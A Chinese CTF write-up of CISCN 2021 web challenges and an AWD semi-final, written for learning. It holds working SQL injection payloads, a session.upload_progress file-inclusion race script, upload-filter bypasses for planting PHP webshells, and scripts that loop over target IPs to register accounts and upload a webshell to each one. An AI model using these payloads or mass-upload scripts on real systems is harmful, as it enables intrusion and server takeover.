当年入门后的第一次国赛
线上初赛 easy_sql 使用sqlmap跑出来了库名和表名
使用报错注入语句
1 ') and extractvalue(2516,concat(0x7e,(select database()),0x7e))--
得到数据库名。但发现是无列名注入,过滤了union,参考文章:sql注入中的其他姿势 在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错
1 ') and extractvalue(2516,concat(0x7e,(select * from users where id=1 and (select * from (select * from users as a join users as b using(id,username))as c)),0x7e))--
得到password 那么同理就可以得到flag的列名了
1 ') and extractvalue(2516,concat(0x7e,(select * from flag where id=2 and (select * from (select * from flag as a join flag as b using(id,no)) as c)),0x7e))--
最后直接读取即可,字段存在数字注意使用反引号
1 ') and extractvalue(2516,concat(0x7e,(select `0c20652d-dfd7-4610-a3bb-b0e9cc8fcacb` from flag),0x7e))--
由于extractvalue读取不完全,截取一下即可
1 ') and extractvalue(2516,concat(0x7e,(select mid(`0c20652d-dfd7-4610-a3bb-b0e9cc8fcacb`,1,10) from flag),0x7e))--
得到flag
easy_source 直接.index.php.swo得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 <?php class User { private static $c = 0 ; function a ( ) { return ++self ::$c ; } function b ( ) { return ++self ::$c ; } function c ( ) { return ++self ::$c ; } function d ( ) { return ++self ::$c ; } function e ( ) { return ++self ::$c ; } function f ( ) { return ++self ::$c ; } function g ( ) { return ++self ::$c ; } function h ( ) { return ++self ::$c ; } function i ( ) { return ++self ::$c ; } function j ( ) { return ++self ::$c ; } function k ( ) { return ++self ::$c ; } function l ( ) { return ++self ::$c ; } function m ( ) { return ++self ::$c ; } function n ( ) { return ++self ::$c ; } function o ( ) { return ++self ::$c ; } function p ( ) { return ++self ::$c ; } function q ( ) { return ++self ::$c ; } function r ( ) { return ++self ::$c ; } function s ( ) { return ++self ::$c ; } function t ( ) { return ++self ::$c ; } } $rc =$_GET ["rc" ];$rb =$_GET ["rb" ];$ra =$_GET ["ra" ];$rd =$_GET ["rd" ];$method = new $rc ($ra , $rb );var_dump ($method ->$rd ());?>
原题。。。。。。。。fslh-writeup flag 是藏在类的注释中,我们能够实例化任意类,并调用类方法,那么就可以利用 PHP 内置类中的ReflectionMethod
来读取User
类里面各个函数的注释 爆破出来q得到flag
middle_source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ ); echo "your flag is in some file in /etc " ; $fielf =$_POST ["field" ]; $cf ="/tmp/app_auth/cfile/" .$_POST ['cf' ]; if (file_exists ($cf )){ include $cf ; echo $$field ; exit ; } else { echo "" ; exit ; } ?>
可以读取
1 2 3 /etc/apache2/sites-available/000-default.conf /etc/apache2/apache2.conf /etc/apache2/envvars
但发现读取不了日志文件,使用dirseach爆破工具爆破文件
发现.listing
,得到you_can_seeeeeeee_me.php
发现是phpinfo,得到session路径
那么利用session.upload_progress将恶意语句写入session文件,从而包含session文件然后进行访问 参考文章:利用session.upload_progress进行文件包含和反序列化渗透 发现存在disable_functions,使用scandir进行读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import ioimport requestsimport threadingsessID = 'bmth' url = 'http://123.60.215.79:21776' data = { "cf" :"../../../../../../var/lib/php/sessions/jbgjccdcbb/sess_{}" .format (sessID) } def write (session ): while True : f = io.BytesIO(b'a' *256 *1 ) response = session.post( url, cookies={'PHPSESSID' : sessID}, data={'PHP_SESSION_UPLOAD_PROGRESS' : '<?php var_dump(scandir("/etc/"));echo("bmth");?>' }, files={'file' : ('bmth.txt' , f)} ) def read (): while True : response = session.post(url,data) if 'bmth' in response.text: print (response.text) break session = requests.session() write = threading.Thread(target=write, args=(session,)) write.daemon = True write.start() read()
发现奇怪的名称cadahdeiff,那么读取目录,最后readfile读取flag即可
1 readfile ("/etc/cadahdeiff/aidacbeeef/hhbecfhbgf/fedajbafee/dbieffcbee/fl444444g" );
upload(复现) https://buuoj.cn/challenges#[CISCN2021%20Quals]upload 比赛时候没做出来,比赛完来学习一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php if (!isset ($_GET ["ctf" ])) { highlight_file (__FILE__ ); die (); } if (isset ($_GET ["ctf" ])) $ctf = $_GET ["ctf" ]; if ($ctf =="upload" ) { if ($_FILES ['postedFile' ]['size' ] > 1024 *512 ) { die ("这么大个的东西你是想d我吗?" ); } $imageinfo = getimagesize ($_FILES ['postedFile' ]['tmp_name' ]); if ($imageinfo === FALSE ) { die ("如果不能好好传图片的话就还是不要来打扰我了" ); } if ($imageinfo [0 ] !== 1 && $imageinfo [1 ] !== 1 ) { die ("东西不能方方正正的话就很讨厌" ); } $fileName =urldecode ($_FILES ['postedFile' ]['name' ]); if (stristr ($fileName ,"c" ) || stristr ($fileName ,"i" ) || stristr ($fileName ,"h" ) || stristr ($fileName ,"ph" )) { die ("有些东西让你传上去的话那可不得了" ); } $imagePath = "image/" . mb_strtolower ($fileName ); if (move_uploaded_file ($_FILES ["postedFile" ]["tmp_name" ], $imagePath )) { echo "upload success, image at $imagePath " ; } else { die ("传都没有传上去" ); } }
发现存在以下过滤
上传需要绕过getimagesize
图片的长宽必须为1
文件名不能有c、i、h、ph
绕过getimagesize
可以使用
1 2 #define width 1 #define height 1
这里c、i、h、ph直接把我卡死了,其实在生成文件名时用了mb_strtolower()
函数
部分字母在经过mb_strtolower
处理过可以等效普通字母的,如i
可以用%C4%B0
代替 文章:https://blog.rubiya.kr/index.php/2018/11/29/strtoupper/
测试在php7.3.5及以上版本为false 扫描目录发现存在example.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php if (!isset ($_GET ["ctf" ])) { highlight_file (__FILE__ ); die (); } if (isset ($_GET ["ctf" ])) $ctf = $_GET ["ctf" ]; if ($ctf =="poc" ) { $zip = new \ZipArchive (); $name_for_zip = "example/" . $_POST ["file" ]; if (explode ("." ,$name_for_zip )[count (explode ("." ,$name_for_zip ))-1 ]!=="zip" ) { die ("要不咱们再看看?" ); } if ($zip ->open ($name_for_zip ) !== TRUE ) { die ("都不能解压呢" ); } echo "可以解压,我想想存哪里" ; $pos_for_zip = "/tmp/example/" . md5 ($_SERVER ["REMOTE_ADDR" ]); $zip ->extractTo ($pos_for_zip ); $zip ->close (); unlink ($name_for_zip ); $files = glob ("$pos_for_zip /*" ); foreach ($files as $file ){ if (is_dir ($file )) { continue ; } $first = imagecreatefrompng ($file ); $size = min (imagesx ($first ), imagesy ($first )); $second = imagecrop ($first , ['x' => 0 , 'y' => 0 , 'width' => $size , 'height' => $size ]); if ($second !== FALSE ) { $final_name = pathinfo ($file )["basename" ]; imagepng ($second , 'example/' .$final_name ); imagedestroy ($second ); } imagedestroy ($first ); unlink ($file ); } }
发现可以解压zip,正好i
可以使用İ
绕过,这里需要绕过imagecreatefrompng
,imagepng
,如果直接在图片最后写一个一句话木马,会被GD库给去掉,使用脚本生成,https://github.com/huntergregal/PNG-IDAT-Payload-Generator/
修改图片后缀为php并压缩,上传并修改文件名,添加长度绕过的字符串
上传成功,最后解压文件,file=../image/aaa.zip
,文件在example目录下
参考:php imagecreatefrom* 系列函数之 png – janes CISCN2021-upload
半决赛awd之旅 考试前两周出发福州去打半决赛,打的很一般,没有啥突出的,哎,两个队都没进决赛,可惜 web有四个靶机,第一天开三个,第二天开一个。注意靶机每十分钟获取一次流量,第一天我们队不知道,被打到20多名,第二天知道后已经晚了,追不上了,只有个二等奖
web_game 下载源码,d盾直接扫
发现存在后门,直接找到index.php并且利用func=system&arg=cat /flag
第二个漏洞需要注册一个账户登录进去,即可进行文件上传,发现未禁用php3和phtml,那么直接上传后缀为.php3的马即可
发现登录后文件名为md5(time())
加上后缀,那么直接写一个脚本注册上传即可
注意python中的时间戳为str(int(time.time()))
,MD5加密即可
easy_cms 未发现自带后门,存在sql注入,尝试文件读取和写文件,都没有吊用 有一个文件包含一直没发现,属实sb了,当时并没有察觉到setup中的任意文件包含,导致丢失了很多分
存在echo $reader
,直接?file=../../../../../../flag
,直接找flag就可以了,哎 在admin/register.php中,存在任意用户注册,那么直接注册用户再登录就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsimport ref = open ("ip.txt" ,"r" ) for ip in f.readlines(): ip=ip.strip('\n' ) try : url='http://' +ip+'/admin/register.php' print (url) payload ={ 'user_name' :'bmth' , 'password' :'bmth' , 'submit' :'register' } r = requests.post(url,data=payload,timeout=5 ) print (str (ip) + " 注册成功" ) except : print (str (ip) + " 注册用户失败" ) pass
登录后发现存在任意文件上传,且没有检测,那么直接上传一句话木马就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsimport timef = open ("ip.txt" ,"r" ) login={ 'user_name' :'bmth' , 'password' :'bmth' , 'submit' :'Login' } while True : for ip in f.readlines(): ip = ip.strip('\n' ) try : url1 = 'http://' +ip+'/admin/login.php' session = requests.session() session.post(url1,data=login) url2 = "http://" +ip+"/admin/manage_uploads.php" file = open ('.bmth.php' ,'rb' ) files = {'file' : ('.bmth.php' , file)} data={ 'submit' :'Add Image' } r = session.post(url2, files=files,data=data) print (str (ip) + " 木马上传成功!" ) except : print (str (ip) + " 木马上传失败!" ) pass
后续的一些复盘当时都没搞了,就这样吧,人生中第一次线下awd,只能说略带遗憾